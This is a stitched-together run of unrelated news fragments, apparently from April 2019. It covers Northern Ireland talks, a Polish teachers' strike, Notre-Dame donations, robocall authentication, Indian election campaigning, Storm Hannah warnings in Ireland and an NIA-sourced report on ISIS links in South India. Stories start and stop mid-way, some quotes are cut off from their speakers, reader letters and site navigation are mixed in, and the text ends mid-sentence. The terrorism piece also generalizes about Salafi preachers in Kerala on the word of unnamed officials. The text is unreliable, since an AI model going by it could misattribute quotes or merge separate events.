revive the provinces dormant regional parliament, a week after the murder of a journalist by nationalist militants exacerbated concerns that the political vacuum had contributed to a breakdown in the Northern Irish peace process. Officials announced on Friday that negotiations will begin on May 7. Representatives of the Democratic Unionist Party, which wants Northern Ireland to remain part of the United Kingdom, and Sinn Fein, which hopes the province will ultimately join the Republic of Ireland, will attempt to end an impasse that has left the region without a government for more than two years. Since a 1998 peace deal that largely ended three decades of sectarian conflict between nationalist and unionist paramilitaries and the British state, Northern Ireland has been mostly ruled by a coalition of the regions largest nationalist party and its largest unionist counterpart, which are currently Sinn Fein and the D.U.P. But that power-sharing agreement collapsed in January 2017, following allegations of unionist corruption and subsequent disagreements over same-sex marriage and the legal status of the Irish language. I am 25 years old, he wrote. I went to nursery, kindergarten, then I finished primary school, junior high school and, ultimately, high school. Simple mathematics shows that for more than half of my life, for five days a week, I spent most of the day under the care of teachers. It is thanks to the people I met at school that my lifes path has gone the way it has. But leading figures in the government have been mostly dismissive of the teachers plight, reflecting the fact that they are generally not considered a part of the partys constituency. Krzysztof Szczerski, President Andrzej Dudas chief of staff, appeared to suggest during a recent interview with state-owned radio that teachers should have more children if they want to earn more money. Teachers are not obliged to live in celibacy, Mr. Szczerski said. Those transfers that are made today, for example for Polish families, including 500 Plus, they also apply to teachers, he said, referring to a government benefits program. Patryk Jaki, a deputy justice minister who lost his bid to become Warsaws mayor, compared the teachers methods to those of the armed forces of Nazi Germany when he said on Tuesday that the tactics of the strikers in the city of Sosnowiec where a line of striking teachers awaited those who were not stopping work were just like the Wehrmacht. I do not wish them to ever teach my child or any other children, he said. This is humiliating people, ostracism, which personally is unacceptable to me. People who have made this column should never be teachers. But Jaroslaw Kaczynski, the leader of Law and Justice and the most powerful politician in Poland, has mostly steered clear of the subject of teachers in the past weeks. Instead, he has tried to keep the focus on cultural and social issues, seeking to portray his government as a defender of Christian values under siege from the secular West. FUENTECAMBRON, Spain At 48, Ignacio Sotillos Garcia has the dubious distinction of being the youngest inhabitant of his village in Soria, a province of northern Spain. He shares a home with his elder brother and parents, who are both in their 80s. Only four other houses remain occupied. Still, his village, Fuentecambron, is doing better than neighboring Cenegro, which lost its last resident three years ago. Withering as they may be, provinces like Soria, which has 88,000 inhabitants half of what it had 60 years ago will be critical to the outcome of Spains national election on Sunday, its third since 2015. These emptying hinterlands are where Spains changing demographic and political landscapes collide, making for an utterly new and volatile dynamic that will determine the countrys future. As flames engulfed Notre-Dame, people from around the world opened their wallets and began making donations. Within two days, nearly $1 billion was raised to help pay for the restoration of the 856-year-old cathedral in Paris. The charitable response was a reflection of Notre-Dames stature as a cherished monument of French cultural heritage. Some benefactors pledged more than $100 million each, including Francois-Henri Pinault, whose wealth comes from luxury brands like Gucci and Yves Saint Laurent, and Bernard Arnault, the richest person in Europe and chief executive of the luxury goods conglomerate LVMH. But the outpouring met with resistance as critics wondered why tragedies like the incineration of the National Museum of Brazil in Rio de Janeiro in September did not receive the same degree of support. And it rekindled class resentment in a city already racked by the so-called Yellow Vest movement, a populist response to economic inequality in France that tapped into a rising global movement against the concentration of wealth. Some criticism was aimed at donors for not paying their fair share in taxes and thus depriving the French government of the revenue to repair Notre-Dame itself. Others denounced the reputational boost bestowed on philanthropists at a time of national tragedy. And some attacked the premise of giving so much to a damaged cathedral when that money could better benefit social service organizations that could provide food, shelter or a better education to needy citizens. T-Mobile was the first to install the new standard known by the acronym Stir/Shaken, a tortured reference to James Bond and martini preparation in January, although its currently compatible only with certain devices. AT&T and Comcast have worked together to verify calls across their networks, and Verizon said it expected to finish rolling out the standard within the next few months. For the new approach to be most effective, the vast majority of the industry, from cable landlines to mobile providers, must use the new protocol. That way, both ends of a call a Verizon customer calling, say, a Comcast customer can be verified. Gaps would still exist, however. Most older landlines, the kind found more often in rural areas, cannot adopt the new protocol. And international calls cannot yet be fully traced, so scams originating overseas using a spoofed domestic number could slip through. But experts said the new standard would still make it easier to more quickly identify schemes coming from overseas and other calls that couldnt be fully authenticated if the industrys biggest companies adopted it. We believe that we will begin to see value once a critical mass of deployment has taken place, a bit like vaccinations, and the top dozen or so carriers should get us to that point, Mr. McEachern said. While the Federal Communications Commission has said robocalls are a top priority, critics have long complained that the industry and its regulators have been slow to address the problem. The industry has been working on the new protocol since at least 2013, and the F.C.C. has been criticized for not requiring a firmer deadline for its adoption. A Senate bill that would establish a deadline has gained bipartisan traction. The Traced Act, introduced by Senators John Thune, Republican of South Dakota, and Edward J. Markey, Democrat of Massachusetts, passed a committee vote this month. Along with stiffening penalties and giving the F.C.C. more time to punish perpetrators, the bill would require all voice service providers including those over the internet, such as Skype and Google Voice to adopt call authentication technology within 18 months of the bills enactment. The phone companies say they are working toward this, but we really think its important to be required to implement this by a certain deadline, said Maureen Mahoney, a policy analyst at Consumer Reports. Ms. Lusardi, at George Washington University, said research showed that one in five American high school students lacked even basic financial skills such as the ability to interpret a pay stub to determine how much money will be deposited into their bank account or the savvy to avoid being tricked into sharing an online bank account logon. The average student debt in 2017 was about $29,000, according to the Institute for College Access and Success. About a million borrowers default for the first time on their federal student loans each year, a report from the Urban Institute found. The latest steps taken by various states may help their financial literacy report cards, said John Pelletier, director of the Center for Financial Literacy at Champlain College in Vermont. Under Mr. Pelletiers oversight, the center compiles a periodic report that assigns each state a letter grade, based on its commitment to financial literacy instruction. Just five states earned an A in the centers most recent analysis, which was issued early last year and included data as of mid-November 2017. But Mr. Pelletier said he expected that several states might improve their grades in his next report, due at the end of this year. Theres been movement, for sure, Mr. Pelletier said, adding that whether all the proposals become law remains to be seen. Here are some questions and answers about financial literacy efforts: How can I find out if my school district offers personal finance instruction? The JumpStart Coalition for Personal Financial Literacy, a nonprofit group that promotes financial education in schools, recently started the Groundswell initiative with the aim of increasing financial literacy programs by 25 percent by 2025. The programs new website, CheckYourSchool.org, lets users search by their school district to see what sort of personal finance instruction is offered. The program also provides suggestions for parents and families to push for adoption of new courses. Claiming that Prime Minister Narendra Modi failed in all the fronts, Chhattisgarh Chief Minister Bhupesh Baghel in Jabalpur on Thursday alleged that PM Modi has handed brooms in the hands of public in last five years, and himself remained on foreign tours. While campaigning for Congress candidate Vivek Tankha in Jabalpur, Baghel told media persons that all the start-ups initiated in Modi government have failed. He claimed PM Modi was the first Prime Minister who did not held a single press briefing in his tenure. Raising questions nowadays is a crime and PM Modi also hates anyone asking questions, he said. With a large number of film stars joining the BJP, Baghel said now actors are coming into politics. Regarding BJPs stance on nationalism, the senior Congress leader said the BJP candidates were seeking votes on Modis name who is asking for votes on the name of armed forces valour despite the fact the servicemen have asked politicians to desist from using their name in polls and Election Commission too has warned parties against using pictures of mention of armed forces in poll campaigns. What is nationalism, asked Baghel saying what farmers do in their land, labourers do in construction field, armed forces do on borders, teachers do in school and even media persons do to safeguard democracy, was all nationalism. Whether talking in their (BJP) favour is nationalism and speaking against them was anti-nationalism, asked the Chhattisgarh Chief Minister. Among other things mentioned in Congress manifesto, Baghel said the party once in power would present a separate agriculture budget and called the NYAY scheme Garibi par vaar72 hazar. Baghel heaped praises on Tankha saying his deeds vindicate that he carries a special bond for the Jabalpur city and also has a vision for it. There is immense potential of tourism between Jabalpur and Chhattisgarh, claimed Baghel. In doing that, I was able to make sure that we could prepare for the changes that we knew were going to happen here. In a short period of time, that put us way ahead of the pack as far as licensing and getting our compliance, policies and procedures sorted. While we are well down that path, a lot of our competitors were slightly sitting on their hands and waiting for the legislation to drop before really thinking about it. Hodgetts says that the aftermath of the Royal Commission has been particularly hard on insurance businesses, though mortgage adviser businesses have also been hit by the recommendations of the report. She says the Australian government has now backpedalled slightly on its stance, and that anything happening in Australia will likely have a gradual drip-feed effect on the New Zealand market in turn. There has been a huge outcry from the people running small adviser businesses in response to the Royal Commission final report, and the government have taken that on board and will tone that down significantly, she explained. But there will still be major changes, and well feel that here too in the form of a gradual change in how we do business, and how we work with the lenders. Its been a constant adaptation process. We also dont have the issues that Australia has with trail commissions, CEO Sarah Johnston added. Trail has only just come back into the New Zealand market, so nobody has been as hugely influenced by that as they have been in Australia. The soft incentives issue is also something that needs to be shut down in the insurance sector, but thats not an issue at all in the mortgage space. Thats never what weve been about either its all about good client outcomes, and thats how we will continue to operate. A city artist Hemant Rao is all set to woo the art lovers in Taiwan as he will be displaying his works in an exhibition. Two paintings of Hemant Rao, a city-based artist, will be showcased at Taipei Art Revolution Exhibition in Taiwan from April 25th, 2019. A.R.T. is one of Asia's top art contests and is being organised by Taiwan International Contemporary Artist Association. More than 4,000 Artworks from 80 Countries have competed for the global art award and Hemant Rao has been chosen by the jury as one of the finalists to be advanced for the next round. Two of his abstract paintings, both named 'Untitled' have been selected in which he has used soft pastel on paper. "The nature and its mysterious play between light and shadow has inspired me to create the drawings," said Rao while speaking to The Pioneer. It is to be noted that his paintings have a curious radiance which carry a spiritual calmness and an aloofness from worldly tensions, just as the artist stated his intention. The combinations of transparent colors in various layers lend his paintings a magical, mysterious, even metaphysical dimension, which is a treat to the viewer's eye. Hemant Rao is very excited as he is well on his way after recently being conferred with the national Lalit Kala Akademi award for his paintings at the 60th National Exhibition of Art at National Gallery of Modern Art and JJ School of Art. "Representing Bhopal frequently at national and international levels, each time fills me with equal happiness," said the artist as a beam of joy flickered across his face. Don Bonker APCO Worldwide has ended its nine-year relationship with Huawei, the Chinese electronics/ telecommunications giant that is at the heart of the US battle with China on the technology and trade fronts. We have reached the end of the contract, and we came to a mutual decision not to continue the contract," an APCO staffer told O'Dwyer's. The seven-term Congressman Don Bonker (D-WA), had handled APCO's representation of Huawei, which officially terminated April 19. The US has slapped sanctions on Huawei, which is heavily subsidized by the Government of China, for violating its ban on the sale of high-tech equipment to Iran. Critics believe Huawei's telecommunications gear contains a "backdoor" to enable spying by China's government. The US has been conducting a global campaign to persuade allies to bar Huawei technology from their 5G mobile networking systems. The Trump administration received a major blow this week with news that the UK may go with Huawei's equipment. Larry Webers Racepoint Global provides PR and crisis support for the Chinese company. Met Eireann issued its third weather warning overnight as Storm Hannah is set to bring 'severe and damaging' gusts to Ireland tonight. Two Status Orange weather warnings and one Yellow warning are now in place across the country. Met Eireann forecasters put out a second Status Orange warning at 4 am on Friday morning for parts of the country with wind gusts of up to 120-130kmh expected. A Status Orange wind warning has been issued for Clare, Cork, Kerry and Limerick from 4 pm today until 5 am tomorrow. The second Status Orange warning, issued today, is a wind warning for Tipperary and Waterford from 10 pm tonight until 2 am Saturday. Laois is included in a Status Yellow wind warning that also covers Connacht, Carlow, Kildare, Kilkenny, Longford, Wexford, Wicklow, Offaly, Donegal, Tipperary and Waterford from 11 pm tonight until 9 am tomorrow. Storm Hannah will bring winds up to 130 km an hour and heavy widespread rain according to Thursday night's weather forecast from Met Eireann. In her forecast after the RTE News, meteorologist Michelle Dillon gave the latest on the storm. She forecast that winds of up to 130km would hit with Cork, Kerry Limerick and Clare worst impacted. The first sign of the storm will be rain in the early afternoon that will become widespread as the storm barrels in. She warned that this would be followed by 'severe and damaging' gusts of storm force winds particularly in coastal parts from Friday evening. Storm Hannah comes just days after a mini Easter weekend heatwave. Wind Warning issued Status: Orange Location: Tipperary and Waterford Valid: Fri 10pm to Sat 2am. pic.twitter.com/lasq3wGbJ9 Met Eireann (@MetEireann) April 26, 2019 MET EIREANN NATIONAL FORECAST TODAY - FRIDAY 26TH APRIL Damp and mostly cloudy this morning with scattered outbreaks of rain, but some dry periods also. A spell of more persistent rain will start to extend from the southwest by this afternoon. Winds will increase over southern and western parts of the country from late afternoon, with severe and damaging gusts developing in the southwest of the country as Storm Hannah approaches. Cooler than of late, with highs of 8 to 12 degrees. TONIGHT - FRIDAY 26TH APRIL Strong to gale force and gusty northwesterly winds in Munster, Connacht and south Leinster at first tonight, with severe and damaging gusts in west Munster and along the south coast. Becoming windy countrywide overnight but the most severe and damaging winds will gradually ease as the night goes on. Outbreaks of rain will continue tonight, with some heavy bursts, but the rain will gradually break up into showers and clear spells in the west and southwest overnight. Lows of 3 to 6 degrees. TOMORROW - SATURDAY 27TH APRIL A windy start to tomorrow Saturday with fresh to strong and gusty northwesterly winds. Remaining rain in the east and north will clear by early afternoon, with sunny spells and scattered showers in west and south extending countrywide. The showers will become increasingly isolated towards evening as northwest winds gradually moderate. Cool, with highs of 8 to 12 degrees. NATIONAL OUTLOOK Saturday night: Mainly dry with clear spells at first, but cloud will gradually thicken from the southwest and patchy light rain and drizzle will devlop in parts of Munster and Connacht overnight. Lows of 2 to 7 degrees, coldest in Ulster where clear spells will persist the longest. Mist and fog patches will form in the mainly light breezes. Sunday: Sunday will be a mainly cloudy and misty day with patchy light rain and drizzle. Some limited brighter intervals are possible towards evening. It will be a little milder than recent days, with highs of 11 to 16 degrees, coolest along the east coast. Light southeast or variable breezes. Sunday night: Continuing mainly cloudy and misty with occasional rain or drizzle. Lows of 7 to 11 degrees in mainly light southeasterly breezes. Monday: Monday will be a mainly cloudy day with occasional rain or showers, but some limited brighter intervals could occur in parts of the east and north. Rain will become persistent in the west later in the day, extending eastwards over the country on Monday night. Top temperatures 12 to 16 degrees in moderate southeasterly breezes. Tuesday: Present indications for Tuesday suggest a wet start to the day in many places, but drier and brighter weather will gradually extend from the southwest as the day goes on. Top temperatures will be around 11 to 14 degrees with winds veering westerly. Wednesday: Sunny spells and showers. Independent TD Carol Nolan has cautiously welcomed reports that the Cabinet will finally give the go-ahead for the roll-out of the National Broadband Plan (NBP). Deputy Nolan was speaking after it was first reported in the Irish Times that the Government will approve the NBP in the coming two weeks despite massive concerns at the estimated cost; around 3 billion. There can be no doubt that the people of rural Ireland, and particularly those who have been left behind by commercial operators, will welcome proposals to finally bring connectivity to their homes and communities," Deputy Nolan said. "That being said, there will also be huge concern at the cost and the fact that from what we are hearing, the state will still not own the broadband infrastructure despite the billions of euros we will all be paying for it." "When you see that the Revised Estimate allocation in 2019 for the likes of LEADER, National Rural Development Schemes, Local Improvement Schemes etc, only amounts to a combined total of 141 million; then you realise just how enormous the proposed cost of 3 Billion really is and the impact it could have on rural Ireland in the long term." "Rural Ireland needs and demands better broadband. I fully support that and always have done," Carol added. "It is vital for our development and economic growth; but if it is delivered at the expense of closing down critically important schemes and programmes, which we also depend on, then serious questions have to be asked around whether or not the government is adopting the most beneficial approach for rural communities, concluded Deputy Nolan. Ferbane local, Dr Ailbhe Kenny, is one three Irish researchers who will participate in a transnational research project aimed at gaining a deeper understanding of public spaces in Europe, the Irish Research Council announced this week. The three research projects, involving Irish principal investigators Aileen Dillane (University of Limerick), Bernadette Quinn (Technological University Dublin), and Ailbhe Kenny (Mary Immaculate College), will each receive 1m from a joint research programme coordinated by Humanities in the European Research Area (HERA). Dr Kenny is involved with the project NITE, which will focus on eight European cities and will aim to develop an understanding of experiences in public spaces at night and how this can inform current and future debates, policies and practices. Aileen Dillane (University of Limerick) will work on FESTIVERSITIES, mapping the ways in which cultural diversities are constructed, performed, and consumed within European music festivals contexts. The comparative dimension of the project aims to identify best practice and counter inequality, misrepresentation, and social exclusion in public spaces. Bernadette Quinn (Technological University Dublin) is part of the FESTSPACE project, which will explore how festivals and events enable or restrict access to, and use of, public spaces, including the extent to which they might effectively host interactions and exchanges between people from different cultural, ethnic, socio-economic and socio-demographic backgrounds. This project is interested in how the design and operation of urban festivals and events might help to dismantle existing divisions. These projects are just three of 20 underway across Europe under the theme Public Spaces: Culture and Integration in Europe. A founding member of the HERA network, the Irish Research Council is the handling agency for the programme which will invest 20 million in the 20 research teams. The Irish researchers participation is funded by the Irish Research Council. Commenting on the announcement, Peter Brown, Director of the Irish Research Council, said: We are delighted for our researchers to be part of this transnational funding opportunity with HERA." Collaboration with researchers from across the continent will add greatly to the depth of understanding and knowledge and the overall research output, as well as it being a fantastic opportunity for them to network with peers in similar fields in Europe." We are committed to funding excellent research across all disciplines at the Council and being part of the HERA network is an important part of this, as we commit to the development of collaborative and transnational humanities research across Europe. Met Eireann has issued a Status Red wind warning for Kerry and Clare, the first red warning to be issued ahead of the arrival of Storm Hannah in Ireland this evening. It is the fifth weather warning issued by the national forecaster ahead of the violent weather system. Clare and Kerry look set to bear the brunt of the weather with 150km/h gusts possible. The warning is valid in Clare from from 8pm until 11pm on Friday, April 26, while the same level warning in Kerry is valid from 6pm to 8pm on Friday. Two Status Orange weather warnings and one Yellow warning are now in place across the country with Waterford covered by the latest Status Orange warning. Met Eireann forecasters have already put out a Status Orange warning for a large part of the country with wind gusts of up to 120-130kmh expected. A Status Orange wind warning has been issued for Clare, Cork, Kerry and Limerick from 4 pm today until 5 am tomorrow. Another Status Orange warning is a wind warning for Tipperary and Waterford from 10 pm tonight until 2 am Saturday. A Status Yellow wind warning that also covers Connacht, Laois, Carlow, Kildare, Kilkenny, Longford, Wexford, Wicklow, Offaly, Donegal, Tipperary and Waterford from 11 pm tonight until 9 am tomorrow. The senator said that many heinous murders do not result in the death penalty and that every other developed country in the world has banned its use. The death penalty is degrading, he said, and its very existence runs against what this country supposedly stands for. Chambers who has only the 2019 and 2020 sessions to serve before hes term-limited said he does not believe in miracles and doubted that his effort to repeal capital punishment would be successful this year. Debate on the measure delved into biblical teachings about killing, the evolving position of the Roman Catholic Church and the role of Gov. Pete Ricketts and his family in financing the campaign that restored capital punishment. Some senators blamed the death penalty for the $28 million court judgment against Gage County, where six innocent people were wrongfully convicted in connection with a murder there after being threatened with the death penalty. Some gave false testimony, and others agreed to falsely plead guilty but DNA evidence later tied the slaying to an Oklahoma man. Chhattisgarh police is reviving its community policing scheme titled Janmitra Yojana (Public Friend Scheme) in all districts to establish regular communication with public. Director General of Police Durgesh Madhav Awasthi issued a directive to all the Superintendents of Police to revive the scheme. As per the scheme, the Station House Officer should divide the area under his jurisdiction in 30 to 40 sectors based on the police station limits and population. In each week, the SHO will hold a meeting at a sector, where the problems of residents and their expectations from police will be discussed. Discussion on cyber crime, online fraud, chit fund, crimes related to social media, crime against women will be discussed and police will explain how to remain safe from such menaces. Gazetted Officers will participate in any one sector meeting under their area. Similarly, District Superintendent of Police will participate in two meetings in each month. Based on clean and undisputed image, 8-10 active residents will be selected as Police Janmitra during the meeting in each sector. Their mobile number will be included in minutes of meeting. The SHO, City SP and SP will be in regular contact with such police friends and take immediate action when intimated on any existing problem in the sector. Similar set up will be made in rural areas also by forming committees except in Naxal-hit sensitive villages, for security reason. The committee will have a minimum of 10 and maximum of 15 members. The World-Heralds Statehouse reporters round up news highlights from the Legislature and state government into the Capitol Digest a daily briefing for the political newshound with a busy schedule. Bonding authority. A bill allowing the Papio-Missouri River Natural Resources District to keep using bonds for flood-control projects overcame a legislative filibuster Thursday. Lawmakers voted 36-9 for a debate-ending cloture motion, then advanced Legislative Bill 177 to the final stage of consideration. The measure, introduced by State Sen. Brett Lindstrom of Omaha, would extend the Papio-Missouri River NRDs bonding authority for five years, until 2024. The metro-area NRD is the only one in the state allowed to issue bonds. State lawmakers originally granted that authority for 10 years, starting in 2009. That authority is set to expire at the end of this year. The NRD has issued $70 million in bonds over the past decade for six projects; eight more projects are in the queue. The following editorial appeared in the Chicago Tribune. There are Americans cashing their first Social Security checks this year who had better make backup plans. By the time they hit their early 80s, the U.S. government might cut their retirement pay by 25%. As for Medicare, get ready to pay a larger share of the bills, retirees, because that crisis is coming on, too, and soon unless the country wakes up to this financial calamity hiding in plain sight. Its amazing what happens to runaway government spending programs that are too popular to change. They become unaffordable and ultimately unsustainable. Thats the situation for Social Security and Medicare, which are on paths to insolvency. Next year, Social Security will need to start dipping into its $3 trillion reserve fund to continue making full payments to retirees, according to an annual government report released Monday. That fund would be depleted in 2035, at which time by the current trajectory retirees will get about three-quarters of their benefits. Chhattisgarh Chief Minister Bhupesh Baghel on Thursday said that making farmers debt-free is the vision of Congress and the loan waiver of defaulting farmers is just a mile stone in that regard. Baghel said this while interacting with media persons in Jabalpur in Madhya Pradesh where he had gone to campaign for the Congress candidate Vivek Tankha. On this occasion he recalled the ancient and historic relation of Mahakaushal (Jabalpur region) with Dakshin Kaushal (Chhattisgarh). He accepted that the relation between the two places was badly hampered as connection was interrupted after the separate state of Chhattisgarh was carved out of the undivided Madhya Pradesh. Speaking on this occasion Baghel came down heavily on Prime Minister Narendra Modi and National Democratic Alliance (NDA) government at the Center. He claimed that none of the promises made by them were delivered in their five years tenure. Mocking Modi, Baghel said, He (Modi) handed over 'brooms' to the people and then he kept himself busy for five years in touring foreign countries. Baghel also criticised Modi for not addressing a single press conference in his five years tenure. Right from Pt Nehru to Manmohan Singhji, every Prime Minister had addressed the media. This was the first time any Prime Minister avoided the media interaction, he said. Comparing Modi with Congress President Rahul Gandhi, Baghel said the latter interacts with people and shares his views with media persons wherever he goes. This testifies that Congress is the only political party which believes in democratic traditions, he said. No one should have to ever pay for anyone but themselves. If youre lucky enough to be a trust-fund baby or luck into that miraculous job that pays well all your life, you dont need any help and have no reason to help anyone else since you did it all on your own. If you werent that lucky, well, too bad. Work until you drop dead. No Social Security for you. Hopefully, someday, life will give you a wake-up call and youll see that working together as a group helps everyone, even you, when you might need it. Sandra Kent, Bennington Political capital for dictators I have several issues with Marc A. Thiessens column about Mike Pompeos mysteriously rescinded Foley American Hostage Freedom Award (April 7 More Commentary). First, to pin a new political low on this series of events is laughable. President Donald Trump himself led us full-steam into a morass of new lows, starting with not taking responsibility for his vulgar comments about grabbing women and continuing with comments about John McCain. Wayne State administrators evaluated the colleges labs and equipment and found them dated. Our president challenged us to get the academics right, and the facilities right, Benson said. Administrators looked to career academies throughout the state for guidance, then turned to Wayne State faculty for input. The mission and vision of the center were refined by the Industrial Technology External Advisory Council, which was formed during planning and construction of the Center for Applied Technology to provide counsel and feedback regarding strategic initiatives and future direction to the dean of the School of Business and Technology, Technology and Applied Sciences Department Chair or representative, and faculty in the industrial technology area. The council, which is comprised of six industry leaders, six K-12 educators and college administrators, ensures the academic programs housed in the center are relevant to industry and education. Curfew in Ahmedabad extended till 6am on May 21; Night curfew to continue in 36 cities for another 3 days Into the deep: Ahmedabads Science City gets a boost! Nature Park, Aquatic, Robotic Galleries and more! Gujarat: Man sentenced to life for raping deaf-mute girl Ahmedabad pti-PTI Vadodara, Apr 26: A special court for POCSO cases at Bharuch in Gujarat has sentenced a man to life imprisonment till death for raping a hearing-and-speech impaired girl. Ashok Vasava, 34, was convicted under IPC section 376 (rape) as well as under the Protection of Children from Sexual Offences (POCSO) Act on Thursday. Public prosecutor R J Desai said Vasava, father of three children, raped an 11-year-old girl who was deaf and mute at Jhagadiya in Bharuch district on December 6, 2016, when she stepped out of her house to answer nature's call. [Sex on the pretext of marriage amounts to rape: Supreme Court] While the girl's testimony could not be recorded, the prosecution examined nine other witnesses including her mother and also produced medical evidence, Desai said. Judge S V Vyas, in his order, said to show leniency to the accused who showed no remorse "after exhibiting extreme depraved mentality" would be a "travesty of justice". The court said Vasava would serve prison sentence till his death (as against ordinary life sentence where the convict can be released after 14 years) considering that he raped a girl who could not even communicate. PTI Chhattisgarh Chief Minister Bhupesh Baghel on Thursday claimed that the Congress would create history by recording a thumping victory in the Lok Sabha elections. He thanked the people of Chhattisgarh for extending support to his party in the recently concluded elections. Baghel in a tweet said I extend my heartfelt gratitude to the people of Chhattisgarh who showered blessings to me and my party by voting. He also expressed gratitude to the people of the state for their large presence in his 78 public meetings, 11 nominations rallies, 7 road shows, 13 social conclaves and two discussion-meets on Aay Pe Charcha. Notable, the three phased polling in the state concluded on Tuesday. There are a total of 11 Lok Sabha constituencies in the state. In the first phase elections was held in lone Bastar Lok Sabha seat on April 11. Mahasamund, Kanker and Rajnandgaon LS seats went to poll in the second phase on April 18. The third and final phase of polling for remaining seven constituencies was held on April 23. Everyone knows who has issues with increasing Marriage age for women to 21: PM takes a dig at Oppn Sign of weakness? Should Priyanka have taken on Modi Debates oi-Madhuri Adnal After fueling speculation that she might contest against Prime Minister Narendra Modi in Varanasi, the Congress on Thursday said not Priyanka Gandhi Vadra, but Ajay Rai would again be its candidate from the seat. Priyanka gave rise to the speculation with her comments that she would like to contest from Varanasi if her brother asked her to do so. However, a press release by the Congress on Thursday declared Ajay Rai as the party's candidate from Varanasi, making it clear that Priyanka Gandhi will not take on Modi in what many said would be the mother of all contests in this election. The decision left many in Varanasi, who had laid store in the Congress fielding a stronger candidate, disappointed. So, why didn't she, the younger and the more charismatic of the Gandhi siblings, gifted with a more natural connect with party workers and the masses. Don't you think Priyanka Gandhi Vadra should have contested against PM Modi after all these build-up? It can be recalled in 2014, Rai received a mere 7.2 per cent votes against Modi, with even his community of Bhumihars not supporting him. Varanasi witnessed a Hindu consolidation. So, the decision not to field Gandhi, came shortly after Modi had touched down in his constituency and was set to embark on a grand road show a day ahead of filing his nomination, which means that the Congress seemed to have conceded defeat against PM? Polling will be held in Varanasi on May 19 in the last phase of the ongoing seven-phase election. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, April 26, 2019, 9:12 [IST] Explained: What is Model Code of Conduct, when does it come into equation? BJP leader Mahadev Sarkar barred from campaigning for 48 hours over sexually coloured remarks India pti-PTI New Delhi, Apr 26: After a Supreme Court prod, the Election Commission Friday barred BJP's Nadia district president Mahadev Sarkar from campaigning for 48 hours for making sexually coloured remarks against a TMC candidate. The ban came into force at 4.00 pm on Friday and would remain in force till April 28 evening, an order issued by the commission said. The EC's decision came a day after the Supreme Court ordered the poll panel to initiate action based on a complaint filed by TMC candidate Mahua Moitra. A bench of Chief Justice Ranjan Gogoi and justices Deepak Gupta and Sanjiv Khanna had on Thursday directed the Election Commission to pass the order "forthwith". The EC "strongly condemned" and "severely reprimanded" Sarkar for his remarks and said he had violated para 2 of the model code which states that: "Criticism of other political parties, when made, shall be confined to their policies and programme, past record and work. Parties and Candidates shall refrain from criticism of all aspects of private life, not connected with the public activities of the leaders or workers of other parties ..." Moitra had alleged that Nadia district BJP president Sarkar, in the presence of party candidate Kalyan Chaubey, made sexually coloured remarks against her on April 22. [Congress knocks EC's door over PM Modi allegedly violating MCC, seeks campaign ban] She said that the poll panel had not taken any action against Sarkar. In his reply to the commission, Sarkar had not denied making the remarks but had maintained that the issue was not covered under the model code. The Krishnanagar constituency in Nadia district in West Bengal goes to polls on April 29. "The commission, under Article 324 of the Constitution of India and all other powers enabling in this behalf, also bars Mahadev Sarkar, district president, Bharatiya Janata Party, Nadia, from holding any public meetings, public processions, public rallies, road shows and interviews, public utterances in media (electronic, print, social media) etc in connection with ongoing elections for 48 hours from 4.00 pm on April 26, 2019 till 4.00 pm on 28 April 2019 (Sunday)," the order read. PTI Colombo bombings: Why ditto ideologies of NJT, ISIS, Kerala Salafis should worry us India oi-Vicky Nanjappa New Delhi, Arp 26: One of the key points that came up post the suicide bombings in Sri Lanka is that there were efforts on to establish an Islamic Caliphate in the southern region. While it all began with Pakistan's ISI fanning communal sentiments in Sri Lanka, it gradually developed into a larger plot. It may be recalled that it was Pakistan through its High Commission in Colombo that set up modules, fanned communal sentiments between Buddhists and Muslims before attempting to carry out strikes in the southern region. Today, in Sri Lanka, the problem is that of the National Towheed Jamath which follows closely the ideology of the Islamic State, which claimed responsibility for the Sri Lanka bombings. Colombo bombings: Photographs of suspects released These groups have a major support base in Maldives, Kerala and Tamil Nadu. The National Investigation Agency has found on several occasions a direct link between these places where radical Islam and Jihad is concerned. During the various raids that the NIA carried out, it found videos of Zaharan Hashim in which he calls on the youth to help form an Islamic Caliphate. Now the worry for the Indian agencies is that the speeches and ideology professed by Hashim is very similar to the one that is followed by the Salafis in Kerala. The Salafi preachers in Kerala are capable of extreme radicalisation. The Salafi preachers in Kerala, NJT and ISIS have all spoken the same language in which they profess about the dangers in living in a land of non-believers. There is a need to keep a distance from such persons they say. Tracking the Islamic Caliphate in South: On September 1 2018, a case was registered at the B-3 Variety Hall police station in Coimbattore. The case pertained to a criminal conspiracy hatched by the accused with the intention of furthering the objectives of the ISIS by targeting Hindu leaders and activists. The NIA which subsequently probed the case cited a video used by the accused in which Hashim urges youth from Sri Lanka, Tamil Nadu and Kerala to establish an Islamic rule in the region. An NIA official part of the investigation tells OneIndia that it had become clear that Hashim was calling on the youth from South India to establish an Islamic Caliphate in the Southern region. In this context one must also look at the Kerala ISIS case in which several persons had joined the outfit. It was also found that three persons from Kerala, Abdul Rashid Abdulla (Kozhikode), Bestin Vincent (Pallakad) and Ashfak Majeed (Kasargod) had travelled to Sri Lanka in 2016. The NIA officer says that these persons were in touch with Hashim. Southern Islamic Caliphate: A plot involving Jihadis from Sri Lanka, Tamil Nadu, Kerala In the Coimbatore case, the NIA chargesheeted Mohamed Ashiq A, Ismail S, Samsudeen, Mohammed Salauddin S, Jafar Shadik Ali and Shahul Hameed. These persons had come together to target Hindu leaders and also conspired to further the activities of the of the Islamic State by carrying out terrorist attacks. They had also planned on targeting persons who were critical of the ISIS, the NIA said. Further the NIA also said that like their accomplices in Kerala, these persons from Tamil Nadu too were in touch with Hashim and were helping him set up the Southern Islamic Caliphate. The December raids: In December, the NIA carried out raids at seven locations in Tamil Nadu. The searches were carried out in Chennai, Coimbatore and one at District Vellapuram. One of the accused in the case, Ismail told the NIA that another accused person Ashik had promised them help for their operation. The NIA says that Ismail had links with the ISIS. The intention was to carry out a major operation on Ganesh Chaturthi. These developments are significant in the wake of the murders in Coimbatore.Munnani spokesperson C Sasikumar in 2016 and an atheist H Farook in 2017 were murdered by radical Islamic groups. The first known ISIS recruit from India was in fact a resident of Cuddalore. Haja Fakkruddin, it may be recalled had in early 2014 left for Syria through Singapore to be part of the ISIS. This was followed by a series of events related to the group and there was an image on the social media that went viral, in which several youth were seen posing with ISIS merchandise. Sri Lanka blasts: Suicide bomber pats a little girl before blowing himself up The threat of the ISIS has been looming large in the state and there are several pockets where the problem is severe. While looking into Haja's case, it was found that he was radicalised by a Cuddalore based group. The role of the ISIS in Tamil Nadu was unraveled in a big way in 2014. In August 2014, the police arrested Abdul Rahman and Mohammad Rizwan from the 